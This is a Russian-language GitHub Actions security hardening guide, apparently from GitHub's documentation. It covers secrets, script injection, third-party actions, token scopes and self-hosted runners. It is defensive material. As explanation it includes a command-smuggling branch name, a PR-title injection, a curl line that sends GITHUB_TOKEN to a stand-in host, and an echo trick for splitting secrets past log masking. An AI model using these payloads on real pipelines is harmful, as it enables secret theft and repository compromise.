Защита системы безопасности для GitHub Actions

Обзор

В этом руководстве объясняется, как настроить усиление безопасности для определенных функций GitHub Actions. Если понятия GitHub Actions незнакомы, см. раздел Общие сведения о GitHub Actions.

Использование секретов

Конфиденциальные значения никогда не должны храниться в виде открытого текста в файлах рабочего процесса, а должны храниться как секреты. Секреты можно настроить на уровне организации, репозитория или окружения и позволить хранить конфиденциальную информацию в GitHub Enterprise Server.

Секреты используют запечатанные коробки Libsodium, поэтому они шифруются до достижения GitHub Enterprise Server. Это происходит, когда секрет отправляется с помощью пользовательского интерфейса или через REST API. Это шифрование на стороне клиента помогает минимизировать риски, связанные со случайным ведением журналов (например, журналы исключений и журналы запросов и т. д.) в инфраструктуре GitHub Enterprise Server. После отправки секрета GitHub Enterprise Server сможет потом расшифровать его, чтобы его можно было внедрить в среду выполнения workflow-процессов.

Для предотвращения случайного раскрытия данных GitHub Enterprise Server использует механизм, который пытается редактировать секреты, отображаемые в журналах выполнения. Это исправление ищет точные совпадения любых настроенных секретов, а также общее кодирование значений, такие как Base64. Но так как значение секрета можно преобразовать несколькими способами, такое исправление не гарантировано. Как результат, есть определенные упреждающие действия и рекомендации, которым вы должны следовать, чтобы обеспечить скрытие секретов и ограничить другие риски, связанные с секретами:

• Никогда не используйте структурированные данные в качестве секрета
  • Структурированные данные могут привести к сбою скрытия секрета в журналах, так как скрытие в значительной степени зависит от поиска точного соответствия для конкретного значения секрета. Например, не используйте большой двоичный объект JSON, XML или YAML (или аналогичный указанным) для инкапсуляции секретного значения, так как это значительно снижает вероятность того, что секреты будут правильно скрыты. Вместо этого создайте отдельные секреты для каждого конфиденциального значения.
• Зарегистрируйте все секреты, используемые в рабочих процессах
  • Если секрет используется для создания другого конфиденциального значения в рабочем процессе, созданное значение должно быть официально зарегистрировано как секрет, чтобы он отображался в журналах. Например, если вы используете закрытый ключ для создания подписанного JWT для доступа к веб-API, обязательно зарегистрируйте этот JWT как секрет, иначе он не будет скрыт, если он когда-либо попадет в выходные данные журнала.
  • Регистрация секретов также применяется к любому типу преобразования или кодирования. Если ваш секрет каким-либо образом преобразован (например, в кодировке Base64 или URL), обязательно зарегистрируйте новое значение в качестве секрета.
• Выполняйте аудит обработки секретов
  • Выполните аудит использования секретов, чтобы убедиться, что они обрабатываются должным образом. Это можно сделать, просмотрев исходный код репозитория, выполняющего рабочий процесс, и проверив все действия, используемые в рабочем процессе. Например, убедитесь, что они не отправляются на непредусмотренные узлы или непосредственно не печатаются для вывода журнала.
  • Просмотрите журналы выполнения для вашего рабочего процесса после проверки допустимых/недопустимых входных данных и убедитесь, что секреты правильно скрыты или не отображаются. Не всегда очевидно, как вызываемая команда или средство будет отправлять ошибки в STDOUT и STDERR, а секреты в дальнейшем могут оказаться в журналах ошибок. Поэтому рекомендуется вручную просматривать журналы рабочего процесса после проверки допустимых и недопустимых входных данных.
• Используйте учетные данные с минимальной областью действия
  • Убедитесь, что учетные данные, используемые в рабочих процессах, имеют наименьшие требуемые разрешения, и имейте ввиду, что любой пользователь с доступом на запись в ваш репозиторий имеет доступ на чтение ко всем секретам, настроенным в вашем репозитории.
  • Действия могут использовать GITHUB_TOKEN, обращаясь к нему из контекста github.token. Дополнительные сведения см. в разделе Контексты. Поэтому необходимо убедиться, что для GITHUB_TOKEN предоставлены минимальные требуемые разрешения. В целях безопасности рекомендуется установить разрешение по умолчанию для GITHUB_TOKEN на чтение только содержимого репозитория. Затем при необходимости можно увеличить разрешения для отдельных заданий в файле рабочего процесса. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.
• Выполняйте аудит и смену зарегистрированных секретов
  • Периодически проверяйте зарегистрированные секреты, чтобы убедиться, что они по-прежнему необходимы. Удалите те, которые больше не нужны.
  • Периодически меняйте секреты, чтобы сократить период времени, в течение которого действителен скомпрометированный секрет.
• Рассмотрите возможность проверки доступа к секретам
  • Привлекайте необходимых рецензентов для защиты секретов среды. Задание рабочего процесса не может получить доступ к секретам окружения, пока рецензент не создаст утверждение. Дополнительные сведения о хранении секретов в средах или необходимости проверки для сред см. в разделах Зашифрованные секреты и Использование сред для развертывания.

Использование CODEOWNERS для отслеживания изменений

Вы можете использовать функцию CODEOWNERS для управления внесением изменений в файлы рабочего процесса. Например, если все файлы вашего рабочего процесса хранятся в .github/workflows, можно добавить этот каталог в список владельцев кода, чтобы любые предлагаемые изменения в этих файлах сначала требовали утверждения назначенным рецензентом.

Дополнительные сведения см. в разделе О владельцах кода.

Осознание риска внедрения скриптов

При создании рабочих процессов, настраиваемых действий и составных действий всегда следует учитывать, не может ли код выполнять ненадежные входные данные от злоумышленников. Это может произойти, когда злоумышленник добавляет в контекст вредоносные команды и сценарии. При запуске рабочего процесса эти строки могут быть интерпретированы как код, который затем выполняется в средстве выполнения тестов.

Злоумышленники могут добавлять собственное вредоносное содержимое в githubконтекст, что следует рассматривать как потенциально ненадежные входные данные. Эти контексты обычно заканчиваются на body, default_branch, email, head_ref, label, message, name, page_name,ref и title. Например github.event.issue.title или github.event.pull_request.body.

Следует убедиться, что эти значения не передаются непосредственно в рабочие процессы, действия, вызовы API или куда-либо еще, где они могут быть интерпретированы как исполняемый код. Применяя ту же защитную позицию программирования, которую вы бы использовали для любого другого кода привилегированного приложения, вы можете помочь системе безопасности усилить использование GitHub Actions. Сведения о некоторых действиях, которые может предпринять злоумышленник, см. в разделе Защита системы безопасности для GitHub Actions.

Кроме того, существуют и другие менее очевидные источники потенциально ненадежных входных данных, такие как имена ветвей и адреса электронной почты, которые могут быть весьма гибкими с точки зрения разрешенного содержания. Например, zzz";echo${IFS}"hello";# будет допустимым именем ветви и возможным вектором атаки на целевой репозиторий.

В следующих разделах показано, как снизить риск внедрения скриптов.

Пример атаки путем внедрения сценария

Атака путем внедрения сценария может произойти непосредственно во встроенном сценарии рабочего процесса. В следующем примере действие использует выражение для проверки достоверности заголовка запроса на вытягивание, но также добавляет риск внедрения сценария:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Этот пример уязвим для внедрения сценария, так как команда run выполняется во временном сценарии оболочки в средстве выполнения тестов. Перед запуском сценария оболочки выражения внутри ${{ }} оцениваются, а затем заменяются полученными значениями, что может сделать сценарий уязвимым для внедрения команд оболочки.

Чтобы внедрить команды в этот рабочий процесс, злоумышленник может создать запрос на вытягивание с заголовком a"; ls $GITHUB_WORKSPACE":

В этом примере символ " используется для прерывания инструкции title="${{ github.event.pull_request.title }}", позволяя выполнять команду ls в средстве выполнения. Вы увидите выходные данные команды ls в журнале:

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

Рекомендации по устранению атак путем внедрения сценария

Существует ряд различных подходов, которые помогут снизить риск внедрения сценариев:

Использование действия вместо встроенного сценария (рекомендуется)

Рекомендуемым подходом является создание действия, которое обрабатывает значение контекста в качестве аргумента. Этот подход неуязвим для атаки путем внедрения, так как значение контекста не используется для создания сценария оболочки, а вместо этого передается действию в качестве аргумента:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Использование промежуточной переменной среды

Для встроенных сценариев предпочтительным подходом к обработке ненадежных входных данных является установка значения выражения в промежуточную переменную среды.

В следующем примере используется Bash для обработки значения github.event.pull_request.title в качестве переменной среды:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

В этом примере попытка внедрения скрипта неуспешна, что отражается в следующих строках в журнале:

env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

При таком подходе значение выражения ${{ github.event.issue.title }} хранится в памяти, используется в качестве переменной и не взаимодействует с процессом создания сценария. Кроме того, рассмотрите возможность использования переменных оболочки в двойных кавычках, чтобы избежать разбиения слов, но это одна из многих общих рекомендаций по написанию сценариев оболочки, и она не относится только к GitHub Actions.

Ограничение разрешений для токенов

Чтобы снизить риск незащищенного токена, рассмотрите возможность ограничения назначенных разрешений. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.

Использование OpenID Connect для доступа к облачным ресурсам

Если рабочим процессам GitHub Actions требуется доступ к ресурсам от поставщика облачных служб, поддерживающего OpenID Connect (OIDC), можно настроить рабочие процессы для проверки подлинности непосредственно в поставщике облачных служб. Это позволит прекратить хранение таких учетных данных в виде долгоживущих секретов и обеспечить другие преимущества безопасности. Дополнительные сведения см. в разделе Сведения об усилении защиты с помощью OpenID Connect.

Использование действий третьих лиц

Отдельные задания в рабочем процессе могут взаимодействовать c другими заданиями (и подвергать их риску). Например, задание, запрашивающее переменные среды, используемые более поздним заданием, записывающее файлы в общий каталог, который обрабатывает более позднее задание, или даже более непосредственно, взаимодействуя с сокетом Docker и проверяя другие запущенные контейнеры и выполняя в них команды.

Это означает, что компрометация одного действия в рабочем процессе может иметь очень большое значение, так как это скомпрометированное действие будет иметь доступ ко всем секретам, настроенным в вашем репозитории, и может использовать GITHUB_TOKEN для записи в репозиторий. Следовательно, существует значительный риск при поиске действий из сторонних репозиториев на GitHub. Сведения о некоторых действиях, которые может предпринять злоумышленник, см. в разделе Защита системы безопасности для GitHub Actions.

Вы можете помочь снизить этот риск, выполнив следующие рекомендации:

• Закрепление действий в SHA полной фиксации

  Закрепление действия в SHA полной фиксации сейчас является единственным способом использования действия в качестве неизменяемого выпуска. Закрепление в определенном SHA помогает снизить риск того, что злоумышленник добавит черный ход в репозиторий действия, так как ему потребуется создать коллизию SHA-1 для действительной полезной нагрузки объекта Git. При выборе SHA следует убедиться, что он находится в репозитории действия, а не вилке репозитория.

• Аудит исходного кода действия

  Убедитесь, что действие обрабатывает содержимое репозитория и секреты должным образом. Например, убедитесь, что секреты не отправляются на непредусмотренные узлы или не регистрируются самопроизвольно.

• Закрепляйте действия в теге только в случае доверия автору

  Хотя закрепление в фиксации SHA является наиболее безопасным вариантом, указание тега — это более удобный и широко используемый метод. Если вы хотите указать тег, убедитесь, что вы доверяете авторам действия. Индикатор событий "Проверенный автор" на GitHub Marketplace является полезным сигналом, так как он указывает, что действие было создано командой, удостоверение которой проверено с помощью GitHub. Обратите внимание, что в этом подходе есть риск, даже если вы доверяете автору, потому что тег может быть перемещен или удален, если злоумышленник получит доступ к репозиторию, в котором хранится действие.

Повторное использование сторонних рабочих процессов

Те же самые принципы, описанные выше для использования сторонних действий, также применимы к использованию сторонних рабочих процессов. Вы можете снизить риски, связанные с повторным использованием рабочих процессов, следуя тем же рекомендациям, которые описаны выше. Дополнительные сведения см. в разделе Повторное использование рабочих процессов.

Использование Dependabot version updates для обновления действий

Вы можете использовать Dependabot version updates для обеспечения актуальности ссылок на действия, используемые в репозитории. Действия часто обновляются с помощью исправлений ошибок и новых компонентов, чтобы сделать автоматизированные процессы более надежными, быстрыми и безопасными. Dependabot version updates потратить усилия на обслуживание зависимостей, так как Dependabot делает это автоматически. Дополнительные сведения см. в разделе Поддержка актуальности действий с помощью Dependabot.

Предоставление рабочим процессам доступа к внутренним репозиториям

Если сделать внутренний доступным для рабочих процессов GitHub Actions в других репозиториях, внешние участники совместной работы в других репозиториях могут косвенно получить доступ к внутреннему , даже если у них нет прямого доступа к этим репозиториям. Внешние участники совместной работы могут просматривать журналы выполнения рабочих процессов, если используются действия или рабочие процессы из внутреннего репозитория. Дополнительные сведения см. в разделе Сведения о доступе GitHub Actions к внутренним репозиториям репозиториям.

Чтобы разрешить средствам выполнения скачивать эти действия, GitHub передает в средство выполнения маркер установки с заданной областью. Этот маркер имеет доступ на чтение к репозиторию и автоматически истекает через час.

Запрет GitHub Actions на создание или утверждение запросов на вытягивание

Вы можете разрешить или запретить рабочим процессам GitHub Actions создание или утверждение запросов на вытягивание. Разрешение рабочим процессам или любой другой автоматизации создавать или утверждать запросы на вытягивание может представлять угрозу безопасности, если запрос на вытягивание объединен без должного контроля.

Дополнительные сведения о настройке этого параметра см. в статье см. "Применение политик для GitHub Actions в вашем предприятии", "Отключение или ограничение GitHub Actions для вашей организации", и "Управление параметрами GitHub Actions для репозитория".

Использование систем показателей OpenSSF для защиты рабочих процессов

Системы показателей — это автоматизированное средство безопасности, которое выявляет рискованные действия в цепочке поставок. Вы можете использовать действие системы показателей и стартовый рабочий процесс, чтобы следовать рекомендациям по обеспечению безопасности. После настройки действие системы показателей автоматически запускается при изменении репозитория и предупреждает разработчиков о рискованных методах цепочки поставок с помощью встроенного средства сканирования кода. Проект системы показателей выполняет ряд проверок, включая атаки путем внедрения сценария, разрешения токенов и закрепленные действия.

Потенциальное влияние скомпрометированного средства выполнения тестов

В этих разделах рассматриваются некоторые шаги, которые может предпринять злоумышленник, если он сможет запускать вредоносные команды в средстве выполнения тестов GitHub Actions.

Доступ к секретам

Рабочие процессы, активированные с помощью события pull_request, имеют разрешения только на чтение и не имеют доступа к секретам. Однако эти разрешения различаются для различных триггеров событий, таких как issue_comment, issues и push, когда злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись задания GITHUB_TOKEN.

• Если для секрета или маркера задана переменная среды, прямой доступ к нему можно получить через окружение с помощью printenv.

• Если секрет используется непосредственно в выражении, созданный сценарий оболочки хранится на диске и является доступным.

• Для пользовательского действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Хотя GitHub Actions удаляет из памяти секреты, на которые не ссылается рабочий процесс (или включенное действие), определенный злоумышленник может собрать GITHUB_TOKEN и любые секреты, на которые указывает ссылка.

Извлечение данных из средства выполнения тестов

Злоумышленник может получить все украденные секреты или другие данные от средства выполнения тестов. Чтобы предотвратить случайное раскрытие секрета, GitHub Actions автоматически скрывает секреты, напечатанные в журнале, но это не является реальной границей безопасности, так как секреты могут быть намеренно отправлены в журнал. Например, скрытые секреты можно перенести с помощью echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Кроме того, так как злоумышленник может выполнять произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Кража GITHUB_TOKEN задания

Злоумышленник может украсть GITHUB_TOKEN задания. Средство выполнения тестов GitHub Actions автоматически получает созданный GITHUB_TOKEN с разрешениями, которые ограничены только репозиторием, содержащим рабочий процесс, и срок действия маркера истекает после завершения задания. После истечения срока действия токен больше ничем не поможет злоумышленнику. Чтобы обойти это ограничение, злоумышленники могут автоматизировать атаку и выполнить ее в доли секунды путем вызова управляемого злоумышленником сервера с токеном, например: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Изменение содержимого репозитория

Сервер злоумышленника может использовать API GitHub Enterprise Server для изменения содержимого репозитория, включая выпуски, если назначенные разрешения GITHUB_TOKEN не ограничены.

Рассмотрение возможности доступа между репозиториями

GitHub Actions намеренно ограничивается до одного репозитория за один раз. GITHUB_TOKEN предоставляет тот же уровень доступа, что и у пользователя с доступом на запись, так как любой пользователь с доступом на запись может получить доступ к этому токену, создав или изменив файл рабочего процесса, повышая разрешения GITHUB_TOKEN, если есть необходимость. У пользователей есть определенные разрешения для каждого репозитория, поэтому разрешение GITHUB_TOKEN для одного репозитория предоставлять доступ к другому повлияет на модель разрешений GitHub, если она не реализована тщательно. Аналогичным образом следует соблюдать осторожность при добавлении токенов проверки подлинности GitHub в рабочий процесс, так как это также может повлиять на модель разрешений GitHub путем случайного предоставления широкого доступа к участникам совместной работы.

У нас есть план по стратегии развития GitHub для поддержки потока, который обеспечивает доступ между репозиториями в GitHub Enterprise Server, но это еще не поддерживаемая функция. На данный момент единственным способом выполнения привилегированного взаимодействия между репозиториями является размещение токена проверки подлинности GitHub или ключа SSH в качестве секрета в рабочем процессе. Так как многие типы токенов проверки подлинности не обеспечивают детальный доступ к определенным ресурсам, существует значительный риск при использовании неправильного типа токена, потому что он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы по доступу к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

1. Токен GITHUB_TOKEN
   • Этот токен намеренно привязан к одному репозиторию, вызвавшему рабочий процесс, и может иметь тот же уровень доступа, что и пользователь доступа на запись в репозитории. Токен создается перед началом каждого задания и истекает по его завершении. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.
   • GITHUB_TOKEN следует использовать всякий раз, когда это возможно.
2. Ключи развертывания репозитория
   • Ключи развертывания — это один из немногих типов учетных данных, которые предоставляют доступ на чтение или запись к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Дополнительные сведения см. в разделе Управление ключами развертывания.
   • Обращаем ваше внимание на то, что ключи развертывания могут клонировать и отправлять их в репозиторий с помощью Git и не могут использоваться для взаимодействия с REST API или API GraphQL, поэтому они могут не соответствовать вашим требованиям.
3. Токены GitHub App
   • GitHub Apps можно установить в выбранных репозиториях и они имеют детальные разрешения на ресурсы в них. Вы можете создать GitHub App в своей организации, установить их в репозиториях, к которым вам нужен доступ в рамках рабочего процесса, и выполнить проверку подлинности в качестве установки в рабочем процессе для доступа к этим репозиториям. Дополнительные сведения см. в разделе Выполнение запросов API с проверкой подлинности с помощью Приложение GitHub в рабочем процессе GitHub Actions.
4. personal access tokens
   • Никогда не используйте personal access token. Эти токены предоставляют доступ ко всем репозиториям внутри организаций, к которым у вас есть доступ, а также ко всем личным репозиториям в вашем личном кабинете. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс.
   • Если вы используете personal access token, никогда не следует использовать personal access token из собственной учетной записи. Если позже вы покинете организацию, рабочие процессы, использующие этот маркер, немедленно прервутся, и отладка этой проблемы может оказаться сложной задачей. Вместо этого следует использовать personal access tokens для новой учетной записи, которая принадлежит вашей организации и которой предоставляется доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не является масштабируемым и его следует избегать в пользу альтернативных вариантов, таких как развертывание ключей.
5. Ключи SSH в личной учетной записи
   • Для рабочих процессов никогда не следует использовать ключи SSH в личной учетной записи. Как и personal access tokens, они предоставляют разрешения на чтение и запись всем вашим личным репозиториям, а также всем репозиториям, к которым у вас есть доступ через членство в организации. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс. Если вы собираетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория и не нужно взаимодействовать с общедоступными API, вместо этого вам следует использовать отдельные ключи развертывания.

Усиление защиты для средств выполнения тестов локального размещения

Локально размещенные средства выполнения тестов для GitHub Enterprise Server не имеют гарантий на выполнение во временных чистых виртуальных машинах и могут быть постоянно скомпрометированы ненадежным кодом в рабочем процессе.

Будьте осторожны при использовании средств выполнения тестов локального размещения в частных или внутренних репозиториях, так как любой пользователь, кто может разветвить репозиторий и открыть запрос на вытягивание (как правило, те, у кого есть доступ к репозиторию для чтения) может скомпрометировать окружение средства выполнения тестов локального размещения, в том числе получить доступ к секретам и GITHUB_TOKEN, который, в зависимости от его параметров, может предоставить доступ на запись в репозиторий. Хотя рабочие процессы могут контролировать доступ к секретам окружения с помощью окружений и обязательных проверок, эти рабочие процессы не запускаются в изолированном окружении и по-прежнему подвержены тем же рискам при запуске в средстве выполнения тестов локального размещения.

Когда средство выполнения тестов локального размещения определено на уровне организации или предприятия, GitHub Enterprise Server может планировать рабочие процессы из нескольких репозиториев в одном и том же средстве выполнения тестов. Следовательно, нарушение безопасности этих окружений может привести к серьезным последствиям. Чтобы уменьшить масштабы компрометации, вы можете установить границы, упорядочив средства выполнения тестов локального размещения в отдельные группы. Вы можете ограничить доступ к рабочим процессам, организациям и репозиториям для групп средств выполнения тестов. Дополнительные сведения см. в разделе Управление доступом к самостоятельно размещенным средствам выполнения с помощью групп.

Следует также рассмотреть окружение компьютеров средств выполнения тестов локального размещения:

• Какие конфиденциальные сведения находятся в компьютере, настроенном в качестве средства выполнения тестов локального размещения? Например, закрытые ключи SSH, маркеры доступа API и другое.
• Имеет ли компьютер сетевой доступ к конфиденциальным службам? Например, к службам метаданных Azure или AWS. Объем конфиденциальной информации в этом окружении должен быть сведен к минимуму, и вы всегда должны помнить, что любой пользователь, способный вызывать рабочие процессы, имеет доступ к этому окружению.

Некоторые клиенты могут попытаться частично снизить эти риски, внедрив системы, которые автоматически уничтожают средство выполнения тестов локального размещения после каждого выполнения задания. Однако этот подход может быть не таким эффективным, как предполагалось, так как нет никакого способа гарантировать, что средство выполнения тестов локального размещения выполняет только одно задание. Некоторые задания будут использовать секреты в качестве аргументов командной строки, которые могут быть видны другому заданию, выполняющемся в том же средстве выполнения тестов, например ps x -w. Это может привести к утечкам секретов.

Планирование стратегии управления для средств выполнения тестов локального размещения

Средство выполнения тестов локального размещения можно добавить на различные уровни в иерархии GitHub: уровень предприятия, организации или репозитория. Это размещение определяет, кто сможет управлять средством выполнения тестов:

Централизованное управление:

• Если вы планируете, чтобы централизованная команда владела средствами выполнения тестов локального размещения, рекомендуется добавить свои средства выполнения тестов на самом высоком уровне взаимной организации или предприятия. Это предоставляет вашей команде единое расположение для просмотра ваших средств выполнения тестов и управления ими.
• Если в вашем распоряжении только одна организация, то добавление средств выполнения тестов на уровне организации — это фактически тот же подход, но при добавлении другой организации в будущем могут возникнуть трудности.

Децентрализованное управление:

• Если каждая команда будет управлять своими собственными средствами выполнения тестов локального размещения, то рекомендуется добавить средства выполнения тестов на самом высоком уровне владения команды. Например, если у каждой команды есть собственная организация, то будет проще, если средства выполнения тестов будут добавлены и на уровне организации.
• Вы также можете добавить средства выполнения тестов на уровне репозитория, но это добавит накладные расходы на управление, а также увеличит количество необходимых вам средств выполнения тестов, так как вы не можете делиться средствами выполнения тестов между репозиториями.

Проверка подлинности в поставщике облачных служб

Если вы используете GitHub Actions для развертывания в поставщике облачных служб или планируете использовать хранилище HashiCorp для управления секретами, рекомендуется использовать OpenID Connect для создания маркеров доступа с ограниченной областью действия для выполнения рабочего процесса. Дополнительные сведения см. в разделе Сведения об усилении защиты с помощью OpenID Connect.

Аудит событий GitHub Actions

Вы можете использовать журнал безопасности для отслеживания действий учетной записи пользователя и журнал аудита для отслеживания действий в организации или enterprise. В журнале безопасности и аудита записывается тип действия, время его выполнения и личная учетная запись выполненное действие.

Например, можно использовать журнал аудита для отслеживания org.update_actions_secret события, которое отслеживает изменения в секретах организации.

Полный список событий, которые можно найти в журнале аудита для каждого типа учетной записи, см. в следующих статьях:

• "События журнала безопасности"
• "События журнала аудита для вашей организации"
• "События журнала аудита для вашего предприятия"